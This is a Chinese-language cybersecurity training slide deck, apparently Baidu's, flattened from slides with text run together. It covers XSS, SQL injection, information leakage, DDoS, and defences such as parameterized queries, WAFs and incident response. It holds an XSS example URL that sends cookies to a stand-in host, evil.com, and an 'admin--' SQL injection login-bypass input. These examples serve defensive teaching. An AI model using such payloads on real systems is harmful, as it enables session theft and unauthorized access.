百度大班安全课件

百度大班安全课件第一章安全基础与威胁现状什么是信息安全？机密性保护完整性维护可用性保障确保信息只被授权人员访问，防止敏感数据保证信息在传输和存储过程中不被恶意篡改，确保信息系统能够正常运行，授权用户在需被恶意窃取或泄露，保护企业核心竞争力确保数据的准确性和可靠性要时能够及时访问所需信息和服务网络安全的三大核心要素完整性（）Integrity确保数据准确性和一致性数字签名验证•机密性（）Confidentiality哈希校验机制•防止信息被未授权访问版本控制系统•数据加密技术•可用性（）访问控制机制Availability•身份认证系统保障系统正常运行•冗余备份设计•负载均衡技术•当前网络安全威胁态势攻击频率持续上升根据网络安全报告显示，全球网络攻击事件数量每年增长超过，攻30%击手段日益复杂多样勒索软件、攻击等高级威胁层出不穷APT每秒发生一次网络攻击•39平均每次数据泄露损失达到万美元•424的网络攻击源于人为错误•95%网络安全威胁无处不在应用系统脆弱性概述资产识别威胁分析明确需要保护的信息资产，包括数据、系统、网络等关键组件的价值评识别可能对资产造成损害的各种威胁源，评估威胁的可能性和影响程度估脆弱性评估风险计算发现系统中存在的安全弱点，分析被威胁利用的可能性综合资产价值、威胁概率和脆弱性严重程度，量化安全风险等级应用系统构成与脆弱点用户应用层1服务组件层2操作系统层3网络协议层4硬件基础层5常见攻击类型一览跨站脚本攻击（）注入攻击XSS SQL通过在网页中注入恶意脚本代码，窃取用户敏感信息或劫持用户利用应用程序对用户输入过滤不严的漏洞，构造恶意语句，SQL会话，是应用中最常见的安全威胁之一非法访问或操作后端数据库Web信息泄露拒绝服务攻击通过各种技术手段或社会工程学方法，获取不应该公开的敏感信息，如用户数据、系统配置等第二章典型安全漏洞与攻击案例通过具体的漏洞分析和真实攻击案例，深入理解各种网络安全威胁的工作原理和危害程度，为有效防护提供实践指导跨站脚本攻击（）详解XSS攻击原理与过程典型攻击案例跨站脚本攻击是一种注入式攻击，攻击者将恶意脚本代码注入到可信网//恶意URL示例http://vulnerable-站中当其他用户浏览该网站时，恶意脚本在用户浏览器中执行，从而site.com/searchq=scriptdocument.location=http://ev窃取用户信息il.com/steal.phpcookie=+document.cookie/script//攻击者发现网站存在漏洞受害者访问后，Cookie被发送到攻击者服务器

1.XSS构造包含恶意脚本的或表单

2.URL诱导用户访问恶意链接

3.恶意脚本在用户浏览器中执行

4.窃取、会话信息等敏感数据

5.Cookie这种攻击可以窃取用户登录凭证，劫持用户会话，甚至进行钓鱼攻击，危害极大恶意脚本如何窃取用户数据01脚本注入攻击者在网页输入字段中插入恶意代码JavaScript02代码执行用户浏览包含恶意脚本的网页，脚本在浏览器中执行03数据窃取恶意脚本获取用户、会话令牌等敏感信息Cookie04信息传输窃取的数据被发送到攻击者控制的服务器注入攻击（）SQL SQLInjection注入是最危险的应用安全威胁之一，攻击者通过在应用程序的数据库查询中注SQL Web入恶意代码，能够绕过应用程序的安全措施，直接与数据库交互SQL身份认证绕过数据泄露窃取通过构造特殊的语句，攻击者可攻击者可以查询数据库中的任意表，SQL以绕过正常的用户名和密码验证，直获取用户个人信息、财务数据等高度接以管理员身份登录系统敏感的商业机密数据破坏篡改恶意攻击者能够修改或删除数据库中的重要数据，造成不可挽回的业务损失和系统故障注入攻击示例代码解析SQL脆弱代码示例安全防护代码//不安全的SQL查询构造String query=SELECT*FROM usersWHERE+//使用参数化查询PreparedStatement ps=username=+username+AND+password=+connection.prepareStatement SELECT*password+;//攻击者输入username:admin--password:任意值//最FROM usersWHERE username=AND终执行的SQLSELECT*FROM usersWHERE username=admin--AND password=;ps.setString1,password=任意值username;ps.setString2,password;ResultSet rs=ps.executeQuery;参数化查询将用户输入作为参数处理，而不是直接拼接到语句中，有效防止注入攻击SQL由于注释符的存用，密码验证部分被忽略，攻击者成功绕过身份验证--信息泄露风险错误信息泄露代码注释泄露配置文件暴露系统错误页面显示过多技术细节，如数据开发人员在源代码中留下的注释信息，可服务器配置不当可能导致敏感配置文Web库连接字符串、表结构信息、文件路径等，能包含敏感的系统配置、业务逻辑或测试件被直接访问，泄露数据库连接信息、加为攻击者提供了宝贵的系统架构信息账户信息，成为安全隐患密密钥等关键数据测试账户和默认密码数据库连接字符串••数据库错误信息暴露表名和字段•密钥和访问令牌第三方服务密钥•API•API文件路径泄露系统目录结构•内部系统架构说明系统管理员凭证••版本信息暴露已知安全漏洞•拒绝服务攻击（）DoS/DDoS单点拒绝服务（）分布式拒绝服务（）DoS DDoS来自单一攻击源的大量请求，试图耗尽利用僵尸网络，从多个地理位置同时发目标服务器的资源，使其无法响应正常起攻击，攻击规模更大，防护难度更高用户请求连接耗尽攻击反射放大攻击•TCP•带宽消耗攻击应用层攻击••DDoS应用层资源耗尽混合型多向量攻击••攻击不仅影响服务可用性，还可能造成巨大的经济损失据统计，每小时的DDoS攻击可能导致企业损失数十万元人民币DDoS第三章防护措施与安全实践基于对常见安全威胁的深入分析，制定全面的防护策略和最佳安全实践，构建多层次、立体化的安全防护体系降低系统脆弱性的策略网络边界防护及时补丁管理部署防火墙、入侵防御系统（）等安全设备，建立网络安全边界，IPS建立系统化的补丁管理流程，及时安装安全更新，修复已知漏洞制过滤恶意流量，阻止未授权访问定补丁测试和部署策略，确保系统安全性与稳定性安全配置加固定期安全评估按照安全基线要求，对操作系统、数据库、中间件等进行安全加固，开展定期的安全扫描和渗透测试，主动发现系统脆弱性，及时修复安关闭不必要的服务和端口全隐患，提升整体安全水平安全编码规范输入验证与过滤输出编码转义对所有用户输入进行严格验证和过滤，使在输出数据到网页时，对特殊字符进行用白名单机制，拒绝包含恶意字符的输入编码，防止攻击的发生HTML XSS实体编码•HTML数据类型验证•转义•JavaScript长度和格式检查•编码处理•URL特殊字符过滤•样式转义•CSS编码转换处理•参数化查询使用参数化查询或存储过程，避免动态拼接语句，从根本上防止注入攻击SQL SQL预编译语句•参数绑定•存储过程调用•框架使用•ORM应用安全测试方法静态代码分析（）动态应用安全测试（）SAST DAST不运行程序的情况下分析源代码，发现在应用程序运行状态下进行安全测试，潜在的安全漏洞和编码缺陷能够在开模拟真实的攻击场景，验证应用程序的发阶段早期发现问题，降低修复成本安全防护能力源代码漏洞扫描黑盒渗透测试••编码规范检查漏洞扫描••数据流分析模糊测试••依赖库安全检查业务逻辑测试••静态分析和动态测试相结合，能够全方位发现应用程序中的安全隐患，是构建安全应用的重要手段应用防火墙（）作用WAF行为分析基于机器学习分析用户行为模式，识别异常访问流量过滤访问频率监控•实时监控流量，识别和阻断异常模式识别HTTP/HTTPS•恶意请求威胁情报集成•注入防护•SQL合规支持攻击拦截•XSS协助满足各种安全合规要求，提供审计日志恶意爬虫识别•合规•PCI DSS等保测评支持•安全审计日志•作为应用的第一道防线，能够有效阻止大部分常见攻击，显著提升应用安全水平WAF Web驱动代理技术SQL语句拦截SQL在应用程序与数据库之间部署代理，拦截所有查询语句进行安全检查SQL恶意语句识别使用规则引擎和机器学习技术，识别注入等恶意数据库操作SQL安全策略执行根据预定义的安全策略，阻止或修改有害的语句执行SQL审计日志记录详细记录所有数据库访问活动，为安全事件分析提供依据代理技术为数据库提供了额外的安全防护层，即使应用程序存在注入漏洞，也SQL SQL能有效防止数据库被恶意操作用户安全意识培训钓鱼攻击防范密码安全管理多因素认证教育用户识别钓鱼邮件和虚假网站，避免泄露个人推广强密码策略和密码管理器使用，避免使用弱密推广使用多因素认证（），为账户安全2FA/MFA敏感信息通过模拟钓鱼测试，提升用户的安全警码或重复密码定期更换关键账户密码增加额外保护层，有效防止账户被盗用惕性人是安全防护体系中最薄弱的环节，通过系统性的安全意识培训，可以显著提升整体安全水平安全是全员责任网络安全不仅仅是部门的职责，而是全体员工共同的责任从高层管理者到普通员工，IT每个人都应该具备基本的安全意识，共同构建企业安全文化管理层支持高层管理者应该重视网络安全，投入必要的资源，建立完善的安全管理制度技术团队专业技术人员需要具备专业的安全技能，及时应对各种安全威胁和事件全员参与意识每位员工都应该了解基本的安全知识，在日常工作中践行安全规范百度安全技术实践分享攻防演练体系安全技术创新百度建立了完善的攻防演练体系，通过结合人工智能技术，百度在安全防护方红蓝对抗演练，持续提升安全团队的实面进行了大量技术创新，提升了威胁检战能力和应急响应水平测和响应的自动化水平定期红蓝对抗演练驱动的威胁检测••AI漏洞挖掘与修复自动化安全运营••安全技能培训零信任网络架构••应急响应演练安全大数据分析••通过持续的技术创新和实践积累，百度安全团队在对抗复杂网络威胁方面积累了丰富经验安全事件应急响应发现阶段分析阶段通过监控系统和安全设备，及时发现安全异常快速分析安全事件的性质、影响范围和严重程和潜在威胁建立×小时安全监控体系724度，制定相应的处置策略恢复阶段处置阶段验证系统安全性，恢复业务操作，加强监控，执行应急处置措施，阻断攻击，清理恶意代码，防止类似事件再次发生修复系统漏洞，恢复正常服务有效的应急响应能力是网络安全防护体系的重要组成部分，能够最大限度降低安全事件造成的损失未来安全趋势展望1辅助防护AI人工智能技术将在威胁检测、行为分析、自动化响应等方面发挥更大作用，提升安全防护的智能化水平2零信任架构零信任安全模型将成为主流，永不信任，持续验证的理念将重塑企业安全架构设计3云原生安全随着云计算技术发展，云原生安全解决方案将成为企业数字化转型的重要支撑4量子安全量子计算技术发展将对现有加密体系带来冲击，量子安全技术研究将成为新的重点总结构建坚实的安全防线持续改进1技术与管理融合2全员安全意识培养3多层次防护体系建设4风险识别与脆弱性评估5网络安全是一个系统工程，需要从技术、管理、人员等多个维度构建综合防护体系通过持续的风险评估、技术更新和人员培训，才能在复杂多变的网络威胁环境中保护重要数字资产网络安全没有终点，只有持续的改进和完善每一次攻击都是学习的机会，每一个漏洞都是提升的契机互动问答欢迎提问，共同探讨安全难题如何在有限的预算下，最大化提升企面对零日漏洞等未知威胁，有哪些有业的安全防护能力？效的防护策略？如何平衡用户体验与安全性要求？安全是一个不断发展的领域，让我们一起交流讨论，分享实践经验，共同提升网络安全防护水平您的每一个问题都可能帮助大家发现新的安全视角谢谢观看！百度安全，守护您的数字世界感谢您参与本次网络安全培训网络安全需要我们共同努力，让我们一起构建更安全、更可信的数字环境如有任何安全问题或技术交流需求，欢迎随时与百度安全团队联系持续学习实践应用保持对最新安全威胁和防护技术的关将所学知识应用到实际工作中注分享交流与同事分享安全知识，共建安全文化。